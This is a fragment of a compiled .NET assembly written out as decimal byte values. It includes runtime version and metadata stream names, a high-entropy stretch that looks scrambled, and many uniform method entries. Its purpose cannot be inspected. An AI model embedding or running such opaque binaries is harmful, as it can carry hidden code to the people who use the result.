6,220,192,214,222,197,230,197,219,214,239,248,251,192,234,205,237,254,235,224,160,242,255,244,240,224,247,187,249,247,250,191,244,252,224,247,231,240,228,242,180,252,132,141,135,201,227,229,174,140,145,138,131,193,149,158,151,145,159,150,216,152,144,155,220,149,147,129,148,134,151,133,145,213,163,165,174,166,129,156,236,163,163,174,165,251,230,132,177,183,168,190,182,173,254,138,175,184,160,233,240,132,166,163,189,184,79,17,8,101,65,76,77,65,2,112,89,82,82,66,73,5,110,82,85,92,4,31,119,88,75,81,95,80,68,83,20,121,107,101,111,124,111,104,105,55,34,87,105,108,99,93,107,107,127,33,56,91,119,112,111,61,123,125,118,126,44,55,87,69,63,81,72,59,47,34,76,30,11,25,5,91,70,71,35,39,119,113,117,115,58,22,15,22,90,0,89,75,86,122,126,59,47,63,63,38,60,36,108,44,38,34,48,53,35,53,108,54,115,97,120,84,84,9,53,57,55,60,112,50,55,37,48,125,217,130,146,137,163,165,237,216,198,202,207,129,194,194,210,204,217,222,144,202,151,133,156,176,184,227,194,216,216,195,209,199,162,248,161,179,174,130,134,192,237,237,233,245,233,245,172,246,179,161,184,148,148,211,243,254,243,255,176,196,229,242,230,230,202,162,134,143,129,226,230,161,141,128,129,141,198,178,151,128,136,136,216,176,144,153,147,175,135,157,158,152,152,144,212,165,184,164,171,172,189,188,169,190,226,170,174,167,169,202,206,151,175,181,182,176,176,184,252,141,160,188,179,180,165,164,177,166,10,66,70,79,65,125,89,67,76,74,78,70,6,116,65,87,76,82,91,92,77,31,85,83,84,92,61,59,100,66,90,91,99,101,111,41,93,106,126,123,107,96,101,114,38,110,106,99,117,94,118,111,119,109,115,115,127,118,126,101,54,65,117,103,3,10,10,5,11,28,97,103,39,13,22,8,20,8,10,8,31,21,12,89,40,30,14,20,19,17,28,20,5,49,29,25,47,107,41,58,61,32,47,44,54,42,47,47,53,74,78,3,51,55,61,121,63,44,47,50,49,50,36,56,57,57,39,27,207,223,223,198,220,196,140,228,204,197,207,172,172,233,193,209,205,212,202,210,158,246,210,219,221,240,223,223,194,210,218,193,249,171,231,239,174,223,254,226,229,241,225,236,166,193,237,233,255,232,184,177,173,173,188,255,251,231,185,177,155,157,215,250,132,159,141,135,154,156,204,130,132,195,176,147,137,128,150,132,151,219,190,144,146,154,143,221,218,192,194,209,148,158,128,220,137,241,148,153,188,160,171,191,163,174,224,135,175,171,161,182,153,180,182,173,187,177,168,174,242,188,182,241,134,165,187,178,88,74,69,9,104,70,64,72,81,3,8,23,18,7,70,76,78,18,24,52,52,124,6,97,98,65,95,86,68,86,89,21,76,98,100,108,125,47,36,117,58,53,41,66,105,105,112,96,116,111,107,57,113,121,60,104,97,118,98,98,54,115,113,102,1,31,7,25,78,98,102,46,13,13,20,4,8,19,23,69,21,29,88,12,13,26,14,14,82,23,21,2,29,3,27,5,9,36,38,61,43,33,56,62,98,44,38,97,51,52,33,55,122,61,55,53,58,58,46,125,114,94,90,18,57,57,32,48,196,223,219,137,193,201,140,216,209,198,210,129,192,200,200,193,223,201,251,131,226,234,207,216,192,192,243,222,216,195,209,219,254,248,168,230,232,175,254,226,227,238,233,239,225,167,226,234,246,255,253,235,190,191,145,151,209,252,254,229,243,249,224,230,202,132,142,201,156,128,141,128,139,141,135,193,128,136,136,129,159,137,187,150,144,139,153,147,134,128,208,158,144,215,134,154,165,191,232,138,238,171,190,164,180,166,224,204,204,132,171,171,174,190,182,173,173,255,179,187,242,161,191,190,162,247,151,245,78,89,65,95,75,108,22,113,97,76,78,85,67,73,80,86,26,84,94,25,75,76,89,79,65,19,84,94,85,66,89,80,100,127,123,41,3,5,79,98,108,119,101,111,114,116,36,106,124,59,109,106,123,109,111,61,118,124,115,100,123,114,122,97,25,40,7,7,26,10,2,25,17,67,15,7,70,18,23,0,8,8,88,9,23,28,8,8,0,22,3,81,123,125,55,26,36,63,45,39,58,60,108,34,36,99,53,50,35,53,55,101,42,50,59,45,43,45,57,46,17,60,62,37,51,57,32,38,138,196,206,137,250,202,193,221,130,197,207,205,194,194,214,231,219,200,221,143,138,159,217,211,209,220,212,212,210,151,196,199,227,229,252,250,237,253,233,232,236,163,141,139,196,230,247,224,172,175,184,252,240,252,243,249,247,247,176,225,228,254,250,225,153,136,154,140,139,129,151,205,178,145,143,130,131,148,151,197,199,219,212,217,174,177,157,144,151,211,205,209,218,215,183,154,167,166,169,167,170,131,165,163,167,227,253,225,234,231,148,164,174,179,248,228,254,243,252,190,182,243,237,241,250,247,164,188,78,11,21,9,2,15,92,93,75,71,0,28,6,7,89,0,66,83,74,66,1,0,1,0,0,0,0,0,12,0,0,0,118,52,46,48,46,51,48,51,49,57,0,0,0,0,4,0,104,0,0,0,120,24,0,0,35,126,0,0,224,24,0,0,104,14,0,0,35,83,116,114,105,110,103,115,0,0,0,0,72,39,0,0,16,0,0,0,35,71,85,73,68,0,0,0,88,39,0,0,52,9,0,0,35,66,108,111,98,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,10,87,148,2,60,9,14,0,0,0,250,1,51,0,22,0,0,1,0,0,0,101,0,0,0,8,0,0,0,19,0,0,0,245,0,0,0,205,0,0,0,39,0,0,0,1,0,0,0,39,0,0,0,1,0,0,0,31,0,0,0,3,0,0,0,1,0,0,0,1,0,0,0,7,0,0,0,2,0,0,0,7,0,0,0,6,0,0,0,0,0,1,0,1,0,0,0,0,0,6,0,163,0,112,0,6,0,170,0,112,0,14,0,177,0,61,0,6,0,194,0,221,0,26,0,3,1,11,1,6,0,30,1,112,0,26,0,37,1,43,1,6,0,74,1,89,1,6,0,124,1,112,0,14,0,141,1,61,0,14,0,166,1,61,0,47,0,193,1,0,0,14,0,0,2,61,0,6,0,39,2,112,0,6,0,94,2,112,0,14,0,139,2,61,0,14,0,162,2,61,0,6,0,185,2,112,0,6,0,202,2,112,0,18,0,211,2,79,0,6,0,11,3,89,1,22,0,25,3,36,3,6,0,53,3,65,3,14,0,103,3,61,0,6,0,153,3,112,0,6,0,164,3,112,0,6,0,189,3,89,1,6,0,196,3,112,0,6,0,205,3,89,1,111,0,219,3,0,0,14,0,248,3,61,0,6,0,38,4,65,3,6,0,50,4,112,0,6,0,70,4,112,0,6,0,79,4,112,0,6,0,99,4,112,0,26,0,138,4,11,1,6,0,181,4,190,4,26,0,237,4,11,1,6,0,254,4,190,4,26,0,28,5,11,1,6,0,205,5,218,5,6,0,228,5,218,5,6,0,249,5,65,3,6,0,3,6,89,1,183,0,219,3,0,0,6,0,22,6,112,0,6,0,53,6,112,0,26,0,74,6,43,1,26,0,88,6,43,1,6,0,138,6,218,5,6,0,152,6,218,5,6,0,185,6,218,5,30,0,209,6,119,0,30,0,250,6,119,0,6,0,50,7,112,0,26,0,60,7,77,7,26,0,107,7,77,7,26,0,129,7,77,7,26,0,149,7,159,7,6,0,243,7,112,0,10,0,7,8,46,0,6,0,13,8,218,5,10,0,26,8,38,8,6,0,75,8,218,5,6,0,84,8,218,5,6,0,101,8,218,5,6,0,153,8,112,0,26,0,160,8,43,1,10,0,219,8,46,0,10,0,226,8,46,0,10,0,236,8,46,0,10,0,37,9,46,0,10,0,52,9,46,0,6,0,72,9,112,0,59,0,117,9,0,0,6,0,131,9,151,9,6,0,186,9,11,1,6,0,213,9,11,1,6,0,236,9,11,1,6,0,11,10,89,1,6,0,61,10,11,1,6,0,128,12,112,0,6,0,133,12,221,0,6,0,164,12,112,0,6,0,170,12,112,0,6,0,196,12,221,0,6,0,228,12,3,13,6,0,21,13,3,13,6,0,46,13,3,13,6,0,75,13,221,0,6,0,105,13,130,13,6,0,156,13,3,13,6,0,179,13,3,13,6,0,208,13,11,1,127,1,228,13,0,0,6,0,243,13,3,13,6,0,12,14,3,13,6,0,39,14,3,13,6,0,66,14,151,9,6,0,80,14,221,0,0,0,0,0,152,0,0,0,0,0,1,0,1,0,0,0,16,0,161,0,161,0,5,0,1,0,1,0,0,0,16,0,209,2,161,0,5,0,6,0,36,0,11,1,16,0,161,0,0,0,45,1,6,0,43,0,1,0,16,0,9,3,161,0,5,0,10,0,43,0,0,1,16,0,182,9,161,0,5,0,10,0,45,0,0,0,18,0,0,0,86,10,5,0,17,0,56,0,19,1,0,0,0,0,155,10,45,1,20,0,246,0,17,0,161,0,19,0,17,0,161,0,37,0,17,0,161,0,46,0,17,0,161,0,55,0,17,0,161,0,77,0,6,0,161,0,76,6,6,0,209,2,76,6,6,0,9,3,76,6,6,0,90,3,76,6,33,0,161,0,122,6,33,0,161,0,142,6,33,0,161,0,146,6,33,0,161,0,150,6,33,0,161,0,154,6,33,0,161,0,158,6,33,0,161,0,162,6,19,1,155,10,12,8,19,0,157,10,16,8,19,0,160,10,20,8,80,32,0,0,0,0,145,0,161,0,107,0,1,0,120,32,0,0,0,0,134,0,161,0,166,0,1,0,208,33,0,0,0,0,134,0,209,2,166,0,1,0,148,34,0,0,0,0,134,0,9,3,166,0,1,0,220,34,0,0,0,0,134,0,90,3,166,0,1,0,44,37,0,0,0,0,134,0,161,0,85,1,1,0,116,37,0,0,0,0,134,0,142,3,166,0,1,0,236,38,0,0,0,0,134,0,171,3,166,0,1,0,212,40,0,0,0,0,134,0,173,3,166,0,1,0,212,41,0,0,0,0,134,0,175,3,166,0,1,0,180,42,0,0,0,0,134,0,177,3,166,0,1,0,216,43,0,0,0,0,134,0,179,3,166,0,1,0,184,44,0,0,0,0,134,0,181,3,166,0,1,0,124,45,0,0,0,0,134,0,183,3,166,0,1,0,124,46,0,0,0,0,134,0,185,3,166,0,1,0,124,47,0,0,0,0,134,0,187,3,166,0,1,0,68,48,0,0,0,0,134,0,68,4,166,0,1,0,56,51,0,0,0,0,134,0,136,4,166,0,1,0,168,51,0,0,0,0,150,0,179,4,93,3,1,0,28,52,0,0,0,0,150,0,209,2,123,3,1,0,64,52,0,0,0,0,134,0,235,4,166,0,1,0,64,53,0,0,0,0,134,0,9,3,85,1,1,0,200,53,0,0,0,0,134,0,136,6,166,0,1,0,160,57,0,0,0,0,134,0,90,3,85,1,1,0,92,58,0,0,0,0,134,0,48,7,166,0,1,0,172,61,0,0,0,0,134,0,58,7,166,0,1,0,116,63,0,0,0,0,134,0,5,8,166,0,1,0,196,64,0,0,0,0,134,0,82,8,166,0,1,0,76,65,0,0,0,0,134,0,142,3,141,0,1,0,192,65,0,0,0,0,134,24,253,0,28,0,1,0,200,65,0,0,0,0,145,0,161,0,152,5,1,0,72,66,0,0,0,0,145,0,161,0,158,5,1,0,96,66,0,0,0,0,145,0,209,2,164,5,1,0,132,66,0,0,0,0,145,0,161,0,203,5,1,0,244,66,0,0,0,0,145,0,161,0,226,5,1,0,0,0,0,0,128,0,145,32,161,0,232,5,1,0,0,0,0,0,128,0,150,32,209,2,232,5,1,0,0,0,0,0,128,0,145,32,161,0,236,5,1,0,12,67,0,0,0,0,150,0,9,3,250,5,1,0,40,67,0,0,0,0,150,0,90,3,6,6,1,0,68,67,0,0,0,0,150,0,161,0,69,6,1,0,8,68,0,0,0,0,134,24,253,0,28,0,1,0,16,68,0,0,0,0,134,24,253,0,28,0,1,0,72,76,0,0,0,0,134,0,161,0,141,0,1,0,84,76,0,0,0,0,134,24,253,0,185,5,1,0,148,76,0,0,0,0,134,8,161,0,97,0,1,0,172,76,0,0,0,0,134,8,209,2,25,3,1,0,196,76,0,0,0,0,134,8,9,3,218,2,1,0,220,76,0,0,0,0,134,8,90,3,203,2,1,0,244,76,0,0,0,0,134,8,142,3,192,2,1,0,12,77,0,0,0,0,134,8,171,3,208,2,1,0,36,77,0,0,0,0,134,8,173,3,213,2,1,0,60,77,0,0,0,0,198,0,30,2,166,0,1,0,56,78,0,0,0,0,198,0,42,10,84,4,1,0,4,79,0,0,0,0,198,0,49,10,81,1,1,0,204,79,0,0,0,0,145,0,155,10,32,8,1,0,244,79,0,0,0,0,150,0,161,0,132,5,1,0,12,80,0,0,0,0,150,0,209,2,132,5,1,0,36,80,0,0,0,0,150,0,9,3,132,5,1,0,60,80,0,0,0,0,150,0,90,3,132,5,1,0,84,80,0,0,0,0,150,0,142,3,132,5,1,0,108,80,0,0,0,0,150,0,171,3,132,5,1,0,132,80,0,0,0,0,150,0,173,3,132,5,1,0,156,80,0,0,0,0,150,0,175,3,132,5,1,0,180,80,0,0,0,0,150,0,177,3,132,5,1,0,204,80,0,0,0,0,150,0,179,3,132,5,1,0,232,80,0,0,0,0,150,0,181,3,132,5,1,0,4,81,0,0,0,0,150,0,183,3,132,5,1,0,32,81,0,0,0,0,150,0,185,3,132,5,1,0,60,81,0,0,0,0,150,0,187,3,132,5,1,0,88,81,0,0,0,0,150,0,68,4,132,5,1,0,116,81,0,0,0,0,150,0,136,4,132,5,1,0,144,81,0,0,0,0,150,0,179,4,132,5,1,0,172,81,0,0,0,0,150,0,235,4,132,5,1,0,200,81,0,0,0,0,150,0,136,6,132,5,1,0,228,81,0,0,0,0,150,0,48,7,132,5,1,0,0,82,0,0,0,0,150,0,58,7,132,5,1,0,28,82,0,0,0,0,150,0,5,8,132,5,1,0,56,82,0,0,0,0,150,0,82,8,132,5,1,0,84,82,0,0,0,0,150,0,174,10,132,5,1,0,112,82,0,0,0,0,150,0,176,10,132,5,1,0,140,82,0,0,0,0,150,0,178,10,132,5,1,0,168,82,0,0,0,0,150,0,180,10,132,5,1,0,196,82,0,0,0,0,150,0,182,10,132,5,1,0,224,82,0,0,0,0,150,0,184,10,132,5,1,0,252,82,0,0,0,0,150,0,186,10,132,5,1,0,24,83,0,0,0,0,150,0,188,10,132,5,1,0,52,83,0,0,0,0,150,0,190,10,132,5,1,0,80,83,0,0,0,0,150,0,192,10,132,5,1,0,108,83,0,0,0,0,150,0,194,10,132,5,1,0,136,83,0,0,0,0,150,0,196,10,132,5,1,0,164,83,0,0,0,0,150,0,198,10,132,5,1,0,192,83,0,0,0,0,150,0,200,10,132,5,1,0,220,83,0,0,0,0,150,0,202,10,132,5,1,0,248,83,0,0,0,0,150,0,204,10,132,5,1,0,20,84,0,0,0,0,150,0,206,10,132,5,1,0,48,84,0,0,0,0,150,0,208,10,132,5,1,0,76,84,0,0,0,0,150,0,210,10,132,5,1,0,104,84,0,0,0,0,150,0,212,10,132,5,1,0,132,84,0,0,0,0,150,0,214,10,132,5,1,0,160,84,0,0,0,0,150,0,216,10,132,5,1,0,188,84,0,0,0,0,150,0,218,10,132,5,1,0,216,84,0,0,0,0,150,0,220,10,132,5,1,0,244,84,0,0,0,0,150,0,222,10,132,5,1,0,16,85,0,0,0,0,150,0,224,10,132,5,1,0,44,85,0,0,0,0,150,0,226,10,132,5,1,0,72,85,0,0,0,0,150,0,228,10,132,5,1,0,100,85,0,0,0,0,150,0,230,10,132,5,1,0,128,85,0,0,0,0,150,0,232,10,132,5,1,0,156,85,0,0,0,0,150,0,235,10,132,5,1,0,184,85,0,0,0,0,150,0,238,10,132,5,1,0,212,85,0,0,0,0,150,0,241,10,132,5,1,0,240,85,0,0,0,0,150,0,244,10,132,5,1,0,12,86,0,0,0,0,150,0,247,10,132,5,1,0,40,86,0,0,0,0,150,0,250,10,132,5,1,0,68,86,0,0,0,0,150,0,253,10,132,5,1,0,96,86,0,0,0,0,150,0,0,11,132,5,1,0,124,86,0,0,0,0,150,0,3,11,132,5,1,0,152,86,0,0,0,0,150,0,6,11,132,5,1,0,180,86,0,0,0,0,150,0,9,11,132,5,1,0,208,86,0,0,0,0,150,0,12,11,132,5,1,0,236,86,0,0,0,0,150,0,15,11,132,5,1,0,8,87,0,0,0,0,150,0,18,11,132,5,1,0,36,87,0,0,0,0,150,0,21,11,132,5,1,0,64,87,0,0,0,0,150,0,24,11,132,5,1,0,92,87,0,0,0,0,150,0,27,11,132,5,1,0,120,87,0,0,0,0,150,0,30,11,132,5,1,0,148,87,0,0,0,0,150,0,33,11,132,5,1,0,176,87,0,0,0,0,150,0,36,11,132,5,1,0,204,87,0,0,0,0,150,0,39,11,132,5,1,0,232,87,0,0,0,0,150,0,42,11,132,5,1,0,4,88,0,0,0,0,150,0,45,11,132,5,1,0,32,88,0,0,0,0,150,0,48,11,132,5,1,0,60,88,0,0,0,0,150,0,51,11,132,5,1,0,88,88,0,0,0,0,150,0,54,11,132,5,1,0,116,88,0,0,0,0,150,0,57,11,132,5,1,0,144,88,0,0,0,0,150,0,60,11,132,5,1,0,172,88,0,0,0,0,150,0,63,11,132,5,1,0,200,88,0,0,0,0,150,0,66,11,132,5,1,0,228,88,0,0,0,0,150,0,69,11,132,5,1,0,0,89,0,0,0,0,150,0,72,11,132,5,1,0,28,89,0,0,0,0,150,0,75,11,132,5,1,0,56,89,0,0,0,0,150,0,78,11,132,5,1,0,84,89,0,0,0,0,150,0,81,11,132,5,1,0,112,89,0,0,0,0,150,0,84,11,132,5,1,0,140,89,0,0,0,0,150,0,87,11,132,5,1,0,168,89,0,0,0,0,150,0,90,11,132,5,1,0,196,89,0,0,0,0,150,0,93,11,132,5,1,0,224,89,0,0,0,0,150,0,96,11,132,5,1,0,252,89,0,0,0,0,150,0,99,11,132,5,1,0,24,90,0,0,0,0,150,0,102,11,132,5,1,0,52,90,0,0,0,0,150,0,105,11,132,5,1,0,80,90,0,0,0,0,150,0,108,11,132,5,1,0,108,90,0,0,0,0,150,0,111,11,132,5,1,0,136,90,0,0,0,0,150,0,114,11,132,5,1,0,164,90,0,0,0,0,150,0,117,11,132,5,1,0,192,90,0,0,0,0,150,0,120,11,132,5,1,0,220,90,0,0,0,0,150,0,123,11,132,5,1,0,248,90,0,0,0,0,150,0,126,11,132,5,1,0,20,91,0,0,0,0,150,0,129,11,132,5,1,0,48,91,0,0,0,0,150,0,132,11,132,5,1,0,76,91,0,0,0,0,150,0,135,11,132,5,1,0,104,91,0,0,0,0,150,0,138,11,132,5,1,0,132,91,0,0,0,0,150,0,141,11,132,5,1,0,160,91,0,0,0,0,150,0,144,11,132,5,1,0,188,91,0,0,0,0,150,0,147,11,132,5,1,0,216,91,0,0,0,0,150,0,150,11,132,5,1,0,244,91,0,0,0,0,150,0,153,11,132,5,1,0,16,92,0,0,0,0,150,0,156,11,132,5,1,0,44,92,0,0,0,0,150,0,159,11,132,5,1,0,72,92,0,0,0,0,150,0,162,11,132,5,1,0,100,92,0,0,0,0,150,0,165,11,132,5,1,0,128,92,0,0,0,0,150,0,168,11,132,5,1,0,156,92,0,0,0,0,150,0,171,11,132,5,1,0,184,92,0,0,0,0,150,0,174,11,132,5,1,0,212,92,0,0,0,0,150,0,177,11,132,5,1,0,240,92,0,0,0,0,150,0,180,11,132,5,1,0,12,93,0,0,0,0,150,0,183,11,132,5,1,0,40,93,0,0,0,0,150,0,186,11,132,5,1,0,68,93,0,0,0,0,150,0,189,11,132,5,1,0,96,93,0,0,0,0,150,0,192,11,132,5,1,0,124,93,0,0,0,0,150,0,195,11,132,5,1,0,152,93,0,0,0,0,150,0,198,11,132,5,1,0,180,93,0,0,0,0,150,0,201,11,132,5,1,0,208,93,0,0,0,0,150,0,204,11,132,5,1,0,244,93,0,0,0,0,150,0,207,11,132,5,1,0,24,94,0,0,0,0,150,0,210,11,132,5,1,0,60,94,0,0,0,0,150,0,213,11,132,5,1,0,96,94,0,0,0,0,150,0,216,11,132,5,1,0,132,94,0,0,0,0,150,0,219,11,132,5,1,0,168,94,0,0,0,0,150,0,222,11,132,5,1,0,204,94,0,0,0,0,150,0,225,11,132,5,1,0,240,94,0,0,0,0,150,0,228,11,132,5,1,0,20,95,0,0,0,0,150,0,231,11,132,5,1,0,56,95,0,0,0,0,150,0,234,11,132,5,1,0,92,95,0,0,0,0,150,0,237,11,132,5,1,0,128,95,0,0,0,0,150,0,240,11,132,5,1,0,164,95,0,0,0,0,150,0,243,11,132,5,1,0,200,95,0,0,0,0,150,0,246,11,132,5,1,0,236,95,0,0,0,0,150,0,249,11,132,5,1,0,16,96,0,0,0,0,150,0,252,11,132,5,1,0,52,96,0,0,0,0,150,0,255,11,132,5,1,0,88,96,0,0,0,0,150,0,2,12,132,5,1,0,124,96,0,0,0,0,150,0,5,12,132,5,1,0,160,96,0,0,0,0,150,0,8,12,132,5,1,0,196,96,0,0,0,0,150,0,11,12,132,5,1,0,232,96,0,0,0,0,150,0,14,12,132,5,1,0,12,97,0,0,0,0,150,0,17,12,132,5,1,0,48,97,0,0,0,0,150,0,20,12,132,5,1,0,84,97,0,0,0,0,150,0,23,12,132,5,1,0,120,97,0,0,0,0,150,0,26,12,132,5,1,0,156,97,0,0,0,0,150,0,29,12,132,5,1,0,192,97,0,0,0,0,150,0,32,12,132,5,1,0,228,97,0,0,0,0,150,0,35,12,132,5,1,0,8,98,0,0,0,0,150,0,38,12,132,5,1,0,44,98,0,0,0,0,150,0,41,12,132,5,1,0,80,98,0,0,0,0,150,0,44,12,132,5,1,0,116,98,0,0,0,0,150,0,47,12,132,5,1,0,152,98,0,0,0,0,150,0,50,12,132,5,1,0,188,98,0,0,0,0,150,0,53,12,132,5,1,0,224,98,0,0,0,0,150,0,56,12,132,5,1,0,4,99,0,0,0,0,150,0,59,12,132,5,1,0,40,99,0,0,0,0,150,0,62,12,132,5,1,0,76,99,0,0,0,0,150,0,65,12,132,5,1,0,112,99,0,0,0,0,150,0,68,12,132,5,1,0,148,99,0,0,0,0,150,0,71,12,132,5,1,0,184,99,0,0,0,0,150,0,74,12,132,5,1,0,220,99,0,0,0,0,150,0,77,12,132,5,1,0,0,100,0,0,0,0,150,0,80,12,132,5,1,0,36,100,0,0,0,0,150,0,83,12,132,5,1,0,72,100,0,0,0,0,150,0,86,12,132,5,1,0,108,100,0,0,0,0,150,0,89,12,132,5,1,0,144,100,0,0,0,0,150,0,92,12,132,5,1,0,180,100,0,0,0,0,150,0,95,12,132,5,1,0,216,100,0,0,0,0,150,0,98,12,132,5,1,0,252,100,0,0,0,0,150,0,101,12,132,5,1,0,32,101,0,0,0,0,150,0,104,12,132,5,1,0,68,101,0,0,0,0,150,0,107,12,132,5,1,0,104,101,0,0,0,0,150,0,110,12,132,5,1,0,140,101,0,0,0,0,150,0,113,12,132,5,1,0,176,101,0,0,0,0,150,0,116,12,132,5,1,0,212,101,0,0,0,0,150,0,119,12,132,5,1,0,248,101,0,0,0,0,150,0,122,12,132,5,1,0,28,102,0,0,0,0,150,0,125,12,132,5,1,0,64,102,0,0,0,0,145,24,189,12,49,8,1,0,33,0,253,0,28,0,12,0,116,1,97,0,73,0,131,1,102,0,73,0,220,1,138,0,81,0,253,0,141,0,81,0,226,1,146,0,89,0,230,1,151,0,97,0,244,1,156,0,105,0,21,2,161,0,9,0,30,2,166,0,113,0,51,2,170,0,73,0,78,2,174,0,97,0,85,2,180,0,121,0,106,2,28,0,73,0,114,2,184,0,73,0,78,2,190,0,105,0,124,2,209,0,129,0,21,2,214,0,137,0,175,2,220,0,145,0,193,2,224,0,153,0,30,2,166,0,161,0,225,2,236,0,161,0,250,2,166,0,177,0,48,3,5,1,20,0,253,0,30,1,177,0,84,3,36,1,73,0,78,2,59,1,73,0,78,2,67,1,73,0,92,3,81,1,193,0,253,0,141,0,193,0,119,3,146,0,89,0,132,3,81,1,145,0,144,3,122,1,201,0,158,3,127,1,201,0,158,3,132,1,209,0,30,2,166,0,73,0,78,2,138,1,28,0,253,0,28,0,41,0,230,3,25,2,36,0,253,0,30,1,44,0,253,0,30,1,52,0,253,0,30,1,177,0,243,3,68,2,60,0,230,1,153,2,68,0,244,1,97,0,76,0,142,3,192,2,249,0,20,4,197,2,225,0,30,2,85,1,76,0,90,3,203,2,76,0,171,3,208,2,76,0,173,3,213,2,76,0,9,3,218,2,12,0,253,0,223,2,28,0,31,4,231,2,1,1,85,2,180,0,84,0,253,0,30,1,28,0,63,4,250,2,28,0,230,1,5,3,92,0,244,1,97,0,12,0,175,2,25,3,92,0,85,2,180,0,17,1,89,4,81,1,17,1,105,4,81,1,17,1,117,4,81,1,73,0,129,4,41,3,73,0,129,4,49,3,41,1,253,0,68,3,41,1,157,4,74,3,17,1,167,4,78,3,17,1,253,0,85,3,49,1,202,4,105,3,49,1,211,4,111,3,145,0,220,4,117,3,41,0,253,0,28,0,57,1,253,0,28,0,57,1,12,5,141,3,57,1,47,5,141,0,57,1,60,5,141,0,57,1,74,5,148,3,57,1,100,5,148,3,57,1,127,5,148,3,57,1,147,5,148,3,41,0,166,5,153,3,65,1,253,0,28,0,41,0,180,5,180,0,41,0,186,5,160,3,89,1,239,5,166,0,97,1,253,0,28,0,100,0,253,0,28,0,73,0,16,6,243,3,73,0,41,6,253,3,73,0,16,6,3,4,100,0,58,6,10,4,100,0,70,6,223,2,137,1,80,6,16,4,108,0,253,0,30,1,177,0,104,6,37,4,177,0,111,6,67,4,97,1,119,6,84,4,97,1,70,6,89,4,97,1,63,4,28,0,97,1,230,1,94,4,1,1,244,1,220,0,73,0,128,6,100,4,100,0,230,1,106,4,116,0,244,1,126,4,100,0,21,2,137,4,116,0,85,2,180,0,153,1,253,0,141,0,153,1,161,6,176,4,153,1,170,6,183,4,169,1,200,6,166,0,177,1,227,6,221,4,177,1,239,6,228,4,177,1,18,7,166,0,25,0,253,0,141,0,25,0,226,1,28,0,73,0,34,7,253,3,73,0,78,2,234,4,201,1,170,7,51,5,201,1,194,7,58,5,209,1,210,7,64,5,217,1,132,3,81,1,201,1,227,7,166,0,233,1,251,7,70,5,217,1,230,1,75,5,132,0,244,1,97,0,249,1,253,0,28,0,1,2,61,8,107,5,241,1,70,8,113,5,249,1,111,6,123,5,17,2,89,8,132,5,25,2,106,8,136,5,25,2,113,8,141,5,25,2,126,8,141,5,9,0,253,0,28,0,33,1,140,8,147,5,41,0,146,8,81,1,76,0,253,0,185,5,41,2,175,2,166,0,57,2,253,0,85,3,57,2,245,8,81,1,57,2,255,8,81,1,49,2,253,0,30,6,65,2,10,9,36,6,57,2,20,9,81,1,57,2,29,9,81,1,73,2,253,0,30,6,73,2,220,1,45,6,57,2,43,9,50,6,65,2,57,9,56,6,113,0,82,9,132,5,225,0,95,9,98,6,113,0,103,9,103,6,41,0,180,5,110,6,105,2,253,0,148,3,113,2,253,0,126,6,140,0,161,0,122,6,140,0,161,0,142,6,140,0,161,0,146,6,140,0,161,0,150,6,140,0,161,0,154,6,140,0,161,0,158,6,140,0,161,0,162,6,129,2,253,0,28,0,65,1,4,10,227,6,65,1,4,10,237,6,204,0,30,10,36,7,204,0,42,10,46,7,212,0,30,10,36,7,212,0,42,10,46,7,220,0,30,10,36,7,220,0,42,10,46,7,228,0,30,10,36,7,228,0,42,10,46,7,236,0,30,10,36,7,236,0,42,10,46,7,244,0,30,10,36,7,244,0,42,10,46,7,252,0,30,10,36,7,252,0,42,10,46,7,204,0,49,10,107,7,212,0,49,10,107,7,220,0,49,10,107,7,228,0,49,10,107,7,236,0,49,10,107,7,244,0,49,10,107,7,252,0,49,10,107,7,145,2,253,0,141,0,49,1,164,10,24,8,161,2,148,12,39,8,185,2,253,0,53,8,193,2,253,0,141,0,201,2,253,0,141,0,209,2,253,0,141,0,217,2,253,0,28,0,225,2,253,0,141,0,233,2,253,0,141,0,241,2,253,0,141,0,249,2,253,0,250,8,9,3,253,0,141,0,17,3,253,0,141,0,25,3,253,0,141,0,33,3,253,0,141,0,41,3,253,0,28,0,33,0,11,0,32,0,39,0,107,6,32,0,46,0,19,6,67,8,46,0,27,6,73,8,46,0,35,6,86,8,46,0,11,6,67,8,46,0,99,6,10,9,46,0,227,4,67,8,46,0,3,6,58,8,46,0,75,6,210,8,46,0,83,6,210,8,46,0,91,6,67,8,46,0,67,6,1,9,46,0,43,6,117,8,46,0,51,6,189,8,46,0,59,6,210,8,65,0,11,0,32,0,97,0,11,0,32,0,129,0,11,0,32,0,161,0,11,0,32,0,163,0,227,4,116,6,195,0,11,0,32,0,195,0,235,5,113,7,65,1,235,4,133,6,97,1,235,4,133,6,129,1,235,4,133,6,161,1,235,4,133,6,193,1,235,4,133,6,225,1,235,4,133,6,1,2,235,4,133,6,224,3,11,0,32,0,0,4,11,0,32,0,32,4,11,0,32,0,64,4,11,0,32,0,96,4,11,0,32,0,160,5,43,5,32,0,160,6,43,5,32,0,192,6,43,5,32,0,224,6,43,5,32,0,1,0,143,11,0,0,8,0,86,0,123,0,196,0,229,0,241,0,74,1,90,1,104,1,144,1,158,1,173,1,184,1,30,3,55,3,99,3,128,3,166,3,144,4,190,4,241,4,8,5,93,5,128,5,170,5,222,5,244,5,0,6,12,6,79,6,185,6,190,6,195,6,200,6,205,6,210,6,215,6,220,6,6,7,102,7,141,0,90,0,22,1,14,2,31,2,39,2,47,2,136,2,162,2,179,2,238,2,14,3,235,3,29,4,118,4,5,5,85,5,166,6,234,6,244,6,247,6,250,6,253,6,0,7,3,7,28,7,54,7,62,7,70,7,78,7,86,7,94,7,0,1,73,0,168,8,1,0,7,1,75,0,188,8,1,0,0,1,77,0,205,8,1,0,164,102,0,0,17,0,4,128,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,21,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,1,0,37,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,10,0,46,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,10,0,61,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,1,0,79,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,1,0,100,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,1,0,112,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,10,0,119,0,0,0,0,0,4,0,3,0,8,0,7,0,0,0,0,0,12,0,161,0,1,0,0,0,12,0,209,2,2,0,0,0,12,0,9,3,3,0,0,0,12,0,90,3,4,0,0,0,12,0,142,3,5,0,0,0,12,0,171,3,6,0,0,0,12,0,173,3,49,0,17,1,53,0,17,1,87,0,116,2,